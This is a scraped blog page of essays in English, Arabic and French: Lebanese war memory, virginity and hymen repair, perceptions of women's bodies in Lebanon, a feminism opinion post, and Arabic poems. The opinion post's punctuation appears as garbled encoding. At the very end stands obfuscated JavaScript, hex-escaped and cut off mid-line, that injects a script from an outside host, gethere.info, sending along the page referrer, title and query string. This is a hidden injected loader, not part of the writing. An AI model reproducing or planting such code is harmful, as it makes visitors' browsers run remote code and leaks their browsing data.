Lebanese have to become Good Ancestors

Lebanon has witnessed several conflicts in the last decades, caught in a never-ending cycle of wars, both physical and psychological. One of the dramatic consequences was the proliferation of disparate scattered cities and neighborhoods run by warlords, mafia leaders and tribes, manipulated proxies who mastered the art of utilizing their people, and unconventional participants in warfare like suicide-bombers, guerrilla forces, private military contractors, reapers and other unmanned predator vehicles.

In ‘The Garden of the Prophet’ (1934), Gibran Khalil Gibran stated the following: “Pity the nation that welcomes its new ruler with trumpeting, and farewells him with hooting, only to welcome another with trumpeting again. Pity the nation whose sages are dumb with years and whose strong men are yet in the cradle. Pity the nation divided into fragments, each fragment deeming itself a nation”. Robert Fisk found this passage of Gibran contemporary enough to provide the title of his book, ‘Pity the Nation’ (1991), characterizing Lebanon as ‘agonizing’… Unfortunately, ‘agony’ isn’t the proper word which can describe the current situation: there is no nation to pity anymore!

Facing this chaotic war dominant and constantly mutating reality, where violence has become a mere publicity instrument rather than the axis of struggle, one may choose to wait for the unknown, observe endings while doing nothing, leave for foreign oasis, or wipe inner tears turned into wounds, immure in loss, wallow in dead civilizations and become one.

One may choose between absolute sorrow, sorrow with no despite and death.

One may put off all mental images of the resurrected Phoenix on the wall, and shift the battle to the next generations.

Ambient amnesia… And hypermnesia …

There is no national war memory in Lebanon, thus no common history, nor identity, but a myriad of individual/collective memories, histories and identities. There are no contemporary common commemorative spaces, no national martyrs to remember beside the First World War’s, no shared mourning gatherings, no official research centers, nor common political will to support critical discussions about the war, but too many sectarian commemorations. This problem is related to a state sponsored amnesia resulting partly from the general Amnesty Law of 1991 that coexists with the widely differing narratives of the war – political, sectarian, religious, non-religious, social, cultural, ethnic,…

Though many narratives are highly destructive, there are those which can be labeled as positive, contributing to peacebuilding. Artists, movie producers, architects, writers and activists in NGOs have become positive memory makers since the 1990s, shedding light on the war and its victims, depicting the horrors and the struggles to keep souls alive, stressing a causal link between remembrance and inter/trans-sectarian conviviality. Personal perceptions of the war have been depicted in fiction, diaries, music productions, paintings, architectural structures and novels by Lebanese from all backgrounds and identities, relating to all who are concerned with human survival, expressing particular types of memory based on contrition and solidarity facing war.

Most of these memory makers are more concerned with rethinking the past in order to build a better future than reducing their present to a quest of survival and thus shrinking the self to its minimal dimensions – living and operating self-criticism appears to be more important than being trapped in the victim state of mind. They create alternative localities (‘lieux alternatifs’) for a diversity of voices-paths to be communicated, expressed, debated and shared, thus promoting a unified yet pluralistic and mediated society. These localities reveal that social and political spaces are never structured neutrally like a ‘tabula rasa’, but instead consist of individual and collective discourses and practices, visions and interpretations of discursive forces.

Memory makers choose not to forget the past and grant blanket amnesties to the perpetrators of massive crimes. They choose to publicly expose the truth – their truths -, and bring solace to victims, such as in South Africa, Bosnia and Rwanda, where public acknowledgement of victims was considered to be the beginning of the healing process and a form of restorative versus punitive justice. They choose to erase urban borders, breach the divide among Lebanese whose memories linger in the betwixt space of sectarian/political violence, communal loyalty and the desire for a unified nation, and to transcend the contrast between public ruins such as the bullet-ridden Holiday Inn and the restored soulless downtown of Beirut.

Memory makers show that war victims are not only harmed physically (first death). The act of violence transmits an unambiguous message – that their views do not count and their voices will not be heard (second death). Therefore, their rebirth, their ascent from hell, becomes a must, at least through the rehabilitation of their forgotten voices and memories.

According to philosopher Paul Ricoeur in ‘The Memory of Suffering’ (1995), ‘we must remember because remembering is a moral duty. We owe a debt to the victims. And the tiniest way of paying our debt is to tell and retell what happened to them. We have learned from the Greek story-tellers and historians that the admirable deeds of the heroes needed to be remembered and thus called for narration. We learn from Jewish story-teller like Elie Wiesel that the horrible – the inverted image of the admirable – needs to be rescued still more from forgetfulness by the means of memory and narration’. In other words, the marginalized voices speak to the public ear, breaking the pyramid of hierarchy both in the living world and in the afterlife. The unspeakable and unthinkable are communicated and translated. The personal stories brought from the innermost of the individuals bind us anew to the collective.

War affected – and still is affecting – all Lebanese psychologically as individuals and in social/political relationships. It shaped – shapes – their beliefs and patterns of behavior. This contributes to the propensity to participate in the next wave of strife or pass it on to the next generation thereby fueling cycles of violence. Every Lebanese plays some role in this cycle, therefore bears responsibility in it.

The role and influence of events and beliefs from current and previous generations that perpetuate cycles and receptivity to hate is obvious to some, preposterous to others. Such thinking evolved early on in the field of psychology, as explained by Carl Jung in ‘Memories, Dreams, Reflections’ (1963): ‘I feel very strongly that I am under the influence of things or questions which were left incomplete and unanswered by my parents and grandparents and more distant ancestors . It often seems as if there was an impersonal karma within a family, which is passed on from parents to children. It has always seemed to me that I had to answer questions which fate had posed to my forefathers, and which had not yet been answered, or as if I had to complete, or perhaps continue, things which previous ages had left unfinished. It is difficult to determine whether these questions are more of a personal or more of a general (collective) nature. It seems to me that the latter is the case. A collective problem, if not recognized as such, always appears as a personal problem, and in individual cases may give the impression that something is out of order in the realm of the personal psyche. The personal sphere is indeed disturbed, but such disturbances need not be primary; they may well be secondary, the consequence of an insupportable change in the social atmosphere. The cause of disturbance is, therefore, not to be sought in the personal surroundings, but rather in the collective situation’.

There is indeed a role for ancestors and their deeds in the present lives of their descendants. In many cultures, ancestors are seen as available to guide, teach, and to nurture. They represent one of the pathways between the knowledge of this world and the next. Unless the relationship between the living and the dead is in balance, chaos results; and if the imbalance exists, the living individuals have the duty to heal their ancestors, to resolve ‘sick energies’.

According to psychotherapist and initiator of the Garden of Forgiveness in central Beirut, Alexandra Asseily, Lebanese have to become good ancestors, stop being ‘the prisoners and the puppets of the stinging memories of strife’, clean up ‘ancestral arteries so that children are free to act in the now, free from the blocks with echo from the past’, let history inform them, not control them (in ‘Breaking the Cycle of Violence in Lebanon- and Beyond’, 2007). Therefore, they must undergo a process that falls into three steps: take responsibility for the active or passive role they play in propagating war; create a space of self-reflection sot that they can become aware of nocuous behaviors and beliefs that reinforce that role; release the source of grievances they hold on to, so that they can be free to replace old habits and think with new life-affirming ones thereby creating positive cycles around them and their children.

MOR.TUARY incarnates this quest to the past and its abysses, linking it to the present and future, a channel between the visible and the invisible, humanity and a transcendental power conducive to reconciliation. It offers a creative new momentum of transformation and healing, and reminds us all that horrors should never be forgotten in order not to occur again. They should not be forgotten so Lebanese will be able to address their cycles of fear, anger and guilt, to build effective bulwark against future human rights’ violations, and to recover the soul of their nation.

[hr]

Dr. Pamela Chrabieh with Samer Eid, Alba, Lebanon, 2014

This article was published in Samer Eid’s Architecture Pamphlet MOR-TUARY, Beirut, Color Balance, 2013.

Samer Eid, MOR-TUARY, ALBA, Lebanon, May 2014
Forewords by Dr. Pamela Chrabieh and Architect Tarek Naga

Dr. Pamela Chrabieh
Dr. Pamela Chrabieh
in Samer Eid’s Architecture Pamphlet
Lebanon, 2013

العذرية وترقيع غشاء البكارة:خواطر للمناقشة

 

١ – عدة معان لكلمة العذرية: الفرد الطاهر معنويا، الفرد الذي لم يقم بعلاقة جنسية مكتملة (ويختلف التشخيص للمثليين)، المرأة التي تعتبر طاهرة جسدياً قبل الزواج، إلخ.

٢ –  “عذرية المرأة الجسدية = شرفها وشرف عائلتها”: قاعدة هذه الفكرة التي أصبحت غقيدة في المجتمعات الشرق أوسطية هي النظام الأبوي. من خصائص هذا النظام: الأبوة (أصبحت عذرية المرأة ضمان للإعتراف بالأبوة)، علاقات السلطة والخضوع عامة وخضوع المرأة للرجل خاصةً، سيطرة العائلة على حياة الفرد وإستعباد المرأة خاصةً، إعتبار المرأة إنساناً غير مكتملاً… وتتميز مجتمعات الشرف والعار في معظم البلاد العربية بعلاقة بين الشرف وتماسك الجماعة، والشرف يعني: الفحولة، القرابة، وعذرية المرأة قبل الزواج.

٣- تلعب الأديان الوثنية والسماوية في الشرق الأوسط دوراً مهماً لفهم علاقة العذرية الجسدية بشرف المرأة. من هنا أهمية دراسة حالتين اساسيتين: علاقة الجنس بالمقدس وعلاقة العفة بالمقدس. على سبيل المثال، كانت كاهنة اينانا في سومر منذ ٥٥٠٠ سنة تمارس الجنس مع الملك ضمن طقوس دينية لضمان علاقة جيدة بين الشعب والآلهة. كان الجنس يعتبر قوة للخير والإزدهار. وترجمت علاقة العفة بالمقدس في حياة العذارى المكرسات مثل الفيستالس، وبقيت هذه العلاقة في الديانات السماوية المعترف بها والمطبقة على النساء خاصةً، بينما تلاشت الطقوس الجنسية.

٤- تعتبر عذرية الرجل والمرأة قبل الزواج أساسية في الديانات السماوية، ولكن في الواقع،  هي المرأة التي تخضع للضغوطات إلى درجة قتلها (جريمة الشرف).

٥- مؤيدو ترقيع أو ترميم غشاء البكارة الذي يعتبر أساس عذرية المرأة يطرحون مسألة أهمية إتمام هذه العملية من منطلق حقوق الإنسان – المرأة حرة بجسدها – أو لمساعدة المرأة التي تتعرض للمضايقات والتهديد بالقتل… معارضو هذه العملية يعتبرونها غير ضرورية إذ لا علاقة بين الغشاء والعذرية، أو لأنهم ضد الكذب، أو ضد تسليع المرأة، أو ضد المعايير المزدوجة – المرأة عذراء والرجل لا! -، إلخ.

٦- الحلول؟ إعادة النظر في مفهوم الشرف – الشرف هو إحترام التنوع الديني والتقافي؛ إحترام الذات والآخر؛ ثقافة الحوار والسلام؛ المساواة في الحقوق والواجبات؛ الشفافية؛ حقوق الإنسان وكرامته؛ إحترام الجسد كملكية خاصة للفرد؛… -؛ إعادة النظر في مفهوم الفضيلة التي لا تعني الإمتناع عن الجنس وما يوجد بين فخذي المرأة (ماذا عن الإستقامة والمحبة والإخلاص والأمانة والعدالة والرحمة والمرونة والتفاهم؟)؛ إصلاح فكري وديني وإجتماعي وسياسي وثقافي، ليس للتخلص من العادات والتقاليد كافة ولكن لفتح باب النقاش والتساؤل والمساءلة وتغيير الذهنية إلى الأفضل مع صياغة قوانين تواكب عصرنا وأنظمة تدير تنوع شعوبها بعدالة ومساواة.

يجب على الوعي والثقافة أن يكونا الحارسان الوحيدان على المرأة وليس الرقابة والخضوع والتسلط.

[hr]

تلخيص مقابلتي على القناة الفرنسية FRANCE 24

عناق امرأةٍ لرجلٍ كاذب

تأتيني متلثّماً، لاهثاً، شاردا

تجرّ وراءك كأساً فارغة

تلطمها الحصى ولا تنكسر.

يحوم حولها شحروران مكروبان

يقطفان زهوراً ذبُلت في مياه أدونيس،

تلتفّ حولي وتقبّلني،

فأفتح فاه وأدغدغها في رئتَي

حتّى يذوب ثلج أحلامي

ليروي حجار حبّك المتواري.

 

أفتح أبواب بيتي العارية

وأجالسك أمام موقدي المخضرم:

ناره حاضرٌ يعانق طيّات الوعود المظلمة.

أراكَ تتراكم تحته طيّاتٍ فارغة،

حدودها صفاء أوراقي الغائبة المتعالية.

 

 

أعانق خصرك الملتوي،

تحمله حيطان بيوتٍ تسكنها القطط البيضاء

ويطليها لسان الأحوال السائدة

في بلادي المتغرّبة

بين سنيها البعيدة العائدة،

فتصرخ خجلاً من أيسك المغيّب

لعلّه يتركك في الخمّارة الباهتة،

تتفاداها الذئاب

ويساكن فيها الذباب الأنفسَ الخالدة.

 

تتراخى يدَي وذراعَي

وتضمحلّ في رماد أتعاب اليوم المتراكمة،

فيرويني جسدُك العذب السائل –

خبزٌ أحمر يلوّنني

فأُدخله في آنيّتي وأناتي

لكي لا تستهلكه البطون الهالكة المارقة.

 

Perceptions du corps de la femme au Liban

Dr Pamela Chrabieh
Dr. Pamela Chrabieh
(Lebanon, May 2014)
‘Being a woman’ (oil and acrylic on canvas, 2012)

Bien que les définitions de l’être femme soient diverses au Liban, il en est une qui constitue la norme et qui reste difficilement détrônable, quelles que soient les appartenances confessionnelles, politiques, socio-économiques et générationnelles : afin d’être acceptée par l’autre (individuel et collectif), de préserver son honneur et son intégrité (et l’honneur de la famille) et de réussir sa vie, la femme devrait être belle et soumise. Il s’agit ici évidemment de la réduction de l’être femme à un corps ‘beau’ selon des standards spécifiques et ‘soumis’ au père de la famille, au conjoint, aux autres femmes ayant intériorisé cette norme, à la communauté religieuse/confessionnelle qui régit le statut personnel des Libanais-es et aux dictats de la société en général.

[hr]

La femme en tant que corps beau :
« Sois belle et tais-toi », « Sois belle et tais-toi PAS », « Sois belle et vote », « Se faire belle », « Zabtilna jamelik », « Jamelo », « Chou hal 7ala hayda », « Chou m7alleye », « Chou da3fane », « Chou noss7ane, manno lebe2lik, rja3e d3afe »… A l’école, à l’université, au travail, à la télé, sur les panneaux publicitaires, sur Facebook, Instagram, et sur les pages des magazines Mondanité, al 7assna2 et al Chabaké, en amitié et en amour, il vaut mieux  pour les femmes Libanaises être belles du berceau au tombeau.

On comprend donc que le maquillage, les régimes amaigrissants, les produits antiâge, la chirurgie esthétique, le Botox, bref tout ce que l’industrie de la beauté peut proposer, se portent bien au Liban, ainsi que les activités sportives perçues en tant qu’activités ‘amaigrissantes’ (on fait le sport pour perdre du poids et paraître belle), les prêts bancaires pour se refaire une nouvelle face ou un nouveau derrière à l’appui, et le titre imbattable de ‘La Mecque de  l’esthétique’ au Moyen-Orient.

Mon analyse de la presse locale, de campagnes publicitaires et de shows télévisés, ainsi que mon observation d’une diversité de cercles mondains depuis 2006-2007 révélèrent ce qui suit:

1) Selon les défenseurs-ses de la beauté physique à tout prix, l’importance qu’on accorde aux apparences est tout sauf de la futilité puisque la beauté physique est un atout considérable dans les relations humaines (Facteur relationnel).

2) Selon ces défenseurs-ses, notre cerveau est câblé pour détecter et apprécier la beauté physique, y compris à notre insu, parce que ce mécanisme a contribué à la reproduction, donc à la survie de l’espèce humaine (Facteur biologique) – en ce sens, la beauté physique serait la garante de la survie de l’espèce libanaise;

3 La beauté physique est la garantie de la ‘complétude’ de la femme – Si la femme est laide, elle ne peut séduire ni « attraper » un mari et donc risque de rester incomplète ;

4) La beauté physique de la femme est la garantie de bons gènes – Une belle femme assurerait forcément une belle progéniture, intelligente et en bonne santé. En somme, « ce qui est beau est bien », et l’amalgame entre être (bien-être) et paraître est de rigueur. 

5) La beauté physique de la femme est la garantie de la fidélité de l’homme et de sa réussite professionnelle (Trophy Wives) ;

8) Il est question de ‘culte de la beauté’ et de sa banalisation.

9) Toute relativité (et culturalité) dans les critères de la beauté physique est remplacée par l’uniformisation (et l’universalité) – on voit ici l’influence de la psychologie évolutionniste et les critères du physical attractiveness (visage ovale, petit nez, grands yeux, traits enfantins, pommettes saillantes, symétrie…) – à l’opposé de l’approche culturelle telle celle de l’historien Georges Vigarello par exemple. La peinture et la littérature fournissent d’ailleurs des preuves évidentes de la relativité des canons de beauté selon les époques et les pays. Les femmes mursi appelées « négresses à plateau » n’ont rien pour charmer le regard de la plupart des Libanais ; les pieds de certaines Chinoises, atrophiés par des bandages, avaient, paraît-il, leur charme au regard des hommes ; les vénus hottentotes arborent des fessiers hypertrophiés très prisés des Bushmen, etc. Les canons de beauté des femmes libanaises étaient différents il y a plusieurs décennies. Actuellement, ceux-ci se résument en ce qui suit: minceur du corps mais poitrine imposante et fesses fermes à la brésilienne, cheveux longs, traits du visage fins avec lèvres charnues, sourcils tatoués…  Sans oublier le fameux ‘Hollywood Smile’.

Ces résultats ou constats rejoignent ceux d’un sondage effectué auprès de 240 de mes étudiants-es universitaires à l’USEK en 2013-2014, âgés de 18-25 ans (54% femmes, 46% hommes). En effet:

–          85% trouvent que la priorité en milieu universitaire et dans leur vie de jeunes au Liban est aux apparences physiques – avec une majorité clamant que la pression se fait plus forte pour les femmes que pour les hommes.

–          95% des étudiantes étaient d’accord pour dire qu’elles subissent continuellement le regard des autres – en famille et dans le milieu universitaire -, avec près de la majorité ayant suivi des diètes depuis leur adolescence pour maintenir un poids dit idéal.

–          40% des étudiantes révélèrent avoir subi une ou plusieurs interventions esthétiques – qualifiées ironiquement selon certains étudiants d’un “chantier ouvert” (warché maftou7a).

Je note ici que les appartenances religieuses/confessionnelles ne constituent pas un facteur qui compte puisque cette réduction de la femme à un corps ‘beau’, se retrouve au sein de toutes les communautés.

La femme en tant qu’être soumis :

L’être femme au Liban n’est pas uniquement réduit à un corps ‘beau’ mais aussi à un corps ‘soumis’, ne jouissant guère de libertés essentielles telles celles relatives à la santé, la sexualité, la reproduction… Ce corps ‘intact’, ‘vierge’, ‘couvert’, ‘docile’, ‘modeste’, ‘vertueux’, ‘chaste’, ‘fécondable’, ‘obéissant’ est garant de l’honneur de sa famille, voire de sa nation – comme avec le cas de Jackie Chamoun. Cette perception et même conviction se retrouve au sein des nouvelles générations, et ce en dépit de la prolifération de courants plus libéraux. Selon les résultats de mon sondage auprès de mes étudiants-es :

–          65% affirment que la femme devrait préserver son corps (référence à la virginité) pour le mariage, sinon celle-ci serait perçue de ‘souillée’ (bda3a fassdé = marchandise avariée).
–          60% des étudiants préfèrent que leurs conjointes (leurs futures épouses) soient putes et soumises après le mariage, 20% putes insoumises, 10% préfèrent le partenariat équitable et 10% ne se sont pas prononcés.
–          70% des étudiantes ne se voient pas en tant que putes et soumises (dans le présent ou en tant que futures épouses), mais une majorité de ces 70% ne sont pas nécessairement pour un partenariat équitable au sein du couple et sont convaincues que l’homme devrait être la tête de la famille.

Le corps de la femme au Liban constitue, dans la plupart des milieux et des cas,  un objet de marchandage (vente de la fille par son père à son époux – la dot ; prix élevé donné à la virginité ; certificats de virginité ; prostitution, pornographie,  marchandage publicitaire et médiatique). Ce corps est la propriété de l’époux (obligation en matière de rapports sexuels, non-criminalisation du viol marital). Plus que simple objet de désir, la femme devient un bout de viande que l’on peut trancher (comme le montre l’artiste Fatima Mortada à travers ses œuvres picturales) – d’où le lien avec cette fameuse ‘bda3a fassdé’ (marchandise avariée).

La femme ‘soumise’ car sa vie est décidée par d’autres, hormis quelques exceptions. Elle n’est pas citoyenne égale à l’homme en droits, opportunités et responsabilités. Elle est une propriété publique et privée, et une citoyenne de seconde catégorie, une non-citoyenne, une intouchable, une paria ou une dalit (référence à la non-caste en Inde). Elle se fait harceler sexuellement et est tenue responsable du viol dont elle est victime. Elle est enfermée dans des rôles spécifiques : l’épouse (docile évidemment), la mère (avec une prime sine qua non si mère de garçons : le summum de son épanouissement, de sa « complétude »), la parfaite femme au foyer, et si carriériste, celle-ci est tenue responsable du démembrement de sa famille et de la mauvaise éducation de ses enfants, et enfin la pute. Une femme valorisée pour ce qu’elle devrait être et non pour ce qu’elle est ou aimerait être.

LES CAUSES ?

Le système et la mentalité du Patriarcat, lesquels instaurent des rapports de domination et d’oppression hiérarchique en société, entre hommes, entre femmes, entre hommes et femmes, et entre les divers genres de l’espèce humaine ; un système et une mentalité qui instaurent la conformité, clé de l’acceptation sociale : la valeur d’une femme augmente en fonction de sa conformité croissante aux normes patriarcales et les stéréotypes du genre. La tendance générale est d’ailleurs à la destruction ou la stigmatisation de la brebis galeuse laquelle constitue un danger au système établi, au pouvoir en place. En effet, le surplus et l’ardeur sexuelle sont considérés comme stigmates négatifs pour les femmes – il est plus souhaitable d’appartenir aux catégories des maigres et des chastes avant le mariage que celles des grosses et des femmes aux ‘mœurs légères’ qui seraient ‘incontrôlables’.

Les interprétations religieuses monothéistes conservatrices ajoutent le bois au feu : notamment lorsque celles-ci présentent l’homme plus raisonnable que la femme et donc apte à être le leader du foyer et de la société, même si homme et femme sont égaux devant Dieu et que l’homme, conducteur de la voiture, ne devrait devenir le maître de celle-ci mais au service des autres pour les mener à bon port. En Islam, bien qu’il existe des visions libératrices, n’obligeant pas la femme à porter le Hijab, dénonçant la maltraitance physique et psychologique de la femme au sein du foyer, se rivant contre l’injustice en matière d’héritage, décourageant la polygamie, jugeant hommes et femmes de la même manière pour adultère (coups de fouets ‘symboliques’), etc. les interprétations conservatrices sont beaucoup plus répandues.

En psychanalyse, une autre explication est avancée : les perturbations de l’image du corps – hébéphrénie où l’image du corps reste l’image d’un corps morcelé et où l’on peut même assister à certaines mutilations ; timidité (la personne timide est angoissée par son corps et croit que l’autre le voit tel qu’il est. Cette personne se résigne donc à se voir par les yeux des autres – elle dépend du regard d’autrui) ; dysmorphophobie (lorsque la personne atteinte croit que son corps est difforme (grosseur ou maigreur, taille, aspect disgracieux du visage…)…

En psychologie sociale, le male gaze est pointé du doigt ou le regard intrusif et objectivant des hommes.
LES CONSEQUENCES ?

Des femmes qui s’auto-objectivent – qui adoptent un regard extérieur sur leur propre corps -, qui entretiennent un rapport tortueux avec leur corps, qui se sentent dépossédées, insécurisées, dégoûtées et impures, qui arrivent à s’automutiler, se haïr, se laisser violenter, user et abuser, à être indifférentes, comateuses et léthargiques ; des femmes dont les capacités mentales et l’estime de soi diminuent ; des femmes en grande fragilité narcissique, qui ont peur du jugement social et de sa dictature et qui les ont introjectés.

Certaines réagissent en utilisant leur corps comme étendard – cf la campagne en ligne Strip for Jackie. Certes, dans ce cas, on peut voir à priori une affirmation des femmes à prendre en main leur émancipation, à être actrices de leur affranchissement plutôt que victimes, à travers la libération de leur corps. On a constaté le même phénomène sur la toile de femmes dévoilées ou dénudées en Tunisie, Syrie, Egypte et Iran. Le corps nu/dénudé exprimerait le pacifisme du combat politique car il ne porte pour seule arme que le message qu’il arbore. Cette pratique n’est pas nouvelle ailleurs comme aux Etats-Unis et en France dans les années 60 du siècle dernier ou plus récemment avec FEMEN, mouvement originaire d’Ukraine, avec « la journée internationale du djihad seins nus » en réaction aux menaces reçues par Amina Tyler, militante tunisienne, pour avoir posté des photos d’elle seins nus sur Facebook. Avec des slogans comme “La nudité, c’est la liberté” et des déclarations du type : “Les manifestations seins nus sont l’étendard de la résistance des femmes, le symbole du fait que la femme obtient ses droits par son propre corps”, Femen proclame que le fait d’enlever ses vêtements en public est le meilleur moyen de faire prendre conscience des droits des femmes et que tous les autres sont insuffisants et, de toute façon, voués à l’échec.

Certaines suggèrent de trouver l’équilibre entre assez montrer et ne pas trop montrer. Mais l’obsession des uns de voiler les femmes n’aurait d’égale que l’obsession des autres de les dénuder ou de trouver cet équilibre. Il s’agit de formes symétriques de la même négation des femmes : l’une veut que celles-ci attisent le désir des hommes tout le temps, tandis que l’autre leur interdit de le provoquer, et la troisième propose une attitude médiane. Et dans les trois cas, le référent est le désir des hommes, non celui des femmes, ou un désir en dialogue. Au Liban, le corps de la femme reste une préoccupation permanente, la femme est continuellement ramenée à un statut de corps, de corps à juger individuellement et collectivement, en privé et en public. Le corps de la femme n’est pas encore un corps à soi et pour soi.

[hr]

En conclusion

Tant que le narcissisme du paraître est valorisé aux dépens de celui de l’être, tant que le paraître est dit l’équivalent de l’être, tant que les perceptions restent fragmentées et que la femme au Liban n’est pas considérée en son entièreté, en tant qu’être humain et que citoyenne égale à l’homme, tant que celle-ci reste déshumanisée et donc utilisable, objet non sujet, on ne peut parler de véritable avancée des droits des femmes, ni de développement positif de la société libanaise qui s’auto-mutile de sa moitié. Tant que les systèmes et mentalités fonctionnent en mode ‘dominant/dominé’ (patriarcat, confessionnalisme, néo-féodalisme…), les lois qui en émanent ne pourraient apporter le changement souhaité par tant de féministes et d’humanistes.

A mon avis, nous avons besoin au Liban de la création et la dissémination d’une culture holistique, qui traiterait la femme et tout citoyen libanais d’être « entier ». Nous avons besoin de déconstruire la fragmentation et donc la violence qui en découle et reconstruire des savoirs et pratiques d’unité dans la diversité, gérant d’une meilleure manière la relation du paraître à l’être, et incluant la diversité des libertés individuelles, des libertés de choix, notamment le choix de disposer tant de son corps que de sa pensée, le choix des alternatives face à la conformité et l’uniformité, le choix de ce qui nous échappe et de ce qui reste encore à faire advenir.

[hr]

Passages de ma conférence présentée à l’Université Antonine le 12 mai 2014.

Dr. Pamela Chrabieh
(Antonine University, Conference, Women Bodies’ Perceptions in Lebanon, 12-05-2014)

 
Dr. Pamela Chrabieh
Antonine University, Lebanon
Conference
12-05-2014

 

Dr. Pamela Chrabieh
Université Antonine, Mai 2014

 
Dr. Pamela Chrabieh, Université Antonine, Mai 2014

God the Female

She, and by her, God reveals the feminine self.
God, who combines both male and female characters, is only referred to as a “he”. This, not only limits the divine, but it also cancels the possibility of the feminine being part of God. This notion of God the female, that is revealed throughout the Bible, is acceptable for us middle eastern women, in as far as it stays a notion of the spirit, untouchable and unseen. To witness God revealed through a woman as God is revealed through a man, becomes an astonishing idea and concept, something that is quite unacceptable. The awakening to this truth comes from women who have struggled and fought to bring to light the divine feminine. These women stood against all preconceived and preset rules and laws to bare witness of a God who can also exist in the form of a woman. Becoming a priest, as in being the image of Christ, being the flesh of God, is equally for the woman as it is for the man, with respect to their own nature. For God encompasses all human limitations and definitions.
What a wild idea to know a God who is a She: God the mother, the maiden, the woman. God who is like the mother chicken that brings Her little ones under Her wings. God the fierce mother who protects Her children from every harm, feels for them, cries for them and heals them with Her tenderness.
This is the beauty of a God who is both and neither. A God called equally Papa and Mama. A God who is man and woman. What a concept! Who would not want to run in the arms of such a God?
What does that mean to the women of today? It simply points to the fact that a woman carries the divine in her no matter what, that she is an image of God, that she is able to bless, break the bread and present it to the world to heal its wounds. It also makes us trust a God who knows what it is to be a woman, and allows us to fly nearer to the divine Spirit.
Let us break away then from the images of a male-only-God and bring to our communities God the female who has been long forgotten and quite tightly put under locks.

تكرار وجود رجل يرفض نفسه

يتسلّق الرجل المتوحّد كلماتي

فتغمره شواطئي بأساطيلها الصمّاء

وتعطيه أصدائي تردّد الحب المتردّي،

فيجتاحه الغرور ويؤنّبه الجسد

تحت مظلّات الصيّاد العارية،

يفوتها تبختر الأسماك العمياء

وأسفار الرمال الساخرة.

ها هو يُشبع فضولَ صبره

فتفيض نطفته شجاراً متساميا

يعالجه أطبّاءُ الوادي الأزرق

في خفايا الجذور الحمراء،

حيث يجوب إصبعٌ قطعَ طرقَه

بجع الأصوات المظلمة.

يسترح على حلمتي

معانقاً أسوارَ أسواقه المتبايعة،

محظرّاً على أظافره متعة الكأس المتأرجح،

فيسقط في ساقطةٍ

تعطيه ما تبقّى من إله شاردٍ،

ويضيع بين أعماله

وتساقط البلّوط

متمادياً فباكيا.

أنفخ به بين أصابعي،

لعلّه جذورٌ تجترّ الهواء،

وأبصق عليه،

لعلّي أجده،

ولو لمرّةٍ،

مجرّداً، عاريا.

DISCLAIMER: This may be an unpopular opinion, but it is nevertheless mine

All these feminist movements I see in Lebanon are useless. Every culture has its own set of rules and customs, we should stop trying to import these movements from abroad and implement them here in our society. Those movements cannot achieve our desired goals. Those movements were built for a different life, for a different mindset. Leta��s stop trying to copy the west or stay the hell away from the east; how about we deal with our issues before attempting to fix the society as a whole?

Men and women are the result of our society. Leta��s face it: women can be just as sexist as men. Leta��s work on that.

Is it really a big deal if a man gives a woman advice about what to do or not to do? The a�?youa��re a man; you dona��t have a say!a�? argument seems invalid to me. What about some men being protective over women? Is it really that terrible to want somebody to be safe? Does it have to mean that women are weak creatures and cannot take care of themselves? Some women are protective as well, so what? People have personalities, and these personalities are not gender based… We have reached a point where it seems that whatever a person does he will be attacked. There is no winning. And by doing this, we are certainly going backwards.

Do you feel this extra tension between women? If a woman is sexually experienced she is labeled a slut. If she lets a guy pay for dinner, she is a gold digger. If she pays for dinner, she is being fooled because he will definitely use her and then dump her the minute he is satisfied. If a beautiful woman is raped, she must have asked for it. a�?How can men resist her and control themselves? She shouldna��t have worn that dress!a�? If a woman who was not drop-dead-gorgeous is raped, she should have taken more care of herself because the rapist was probably just trying to make her feel like the woman she is. If a woman cares about work, she is neglecting her family. If she doesna��t care about work, she is so selfishly expecting someone else to take care of her. There is no winning, even between women themselves. That is why we are stuck in our place.

Through unity there is power, and that is exactly what we lack.

We need to understand what it means for women to be as a�?freea�? as men are. Are we ready for that? Are we ready to shift the game of blame in cases of different forms of abuse? Are we ready for women to speak their opinions? Are we ready to accept that women have sexual needs and desires? Are we ready for an actual partnership? Are both men and women aware of what this entire thing means??? We need to start by reforming this society, building new roots, so we dona��t get taken away in the chaos we would cause when people are no longer viewed as genders.

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ 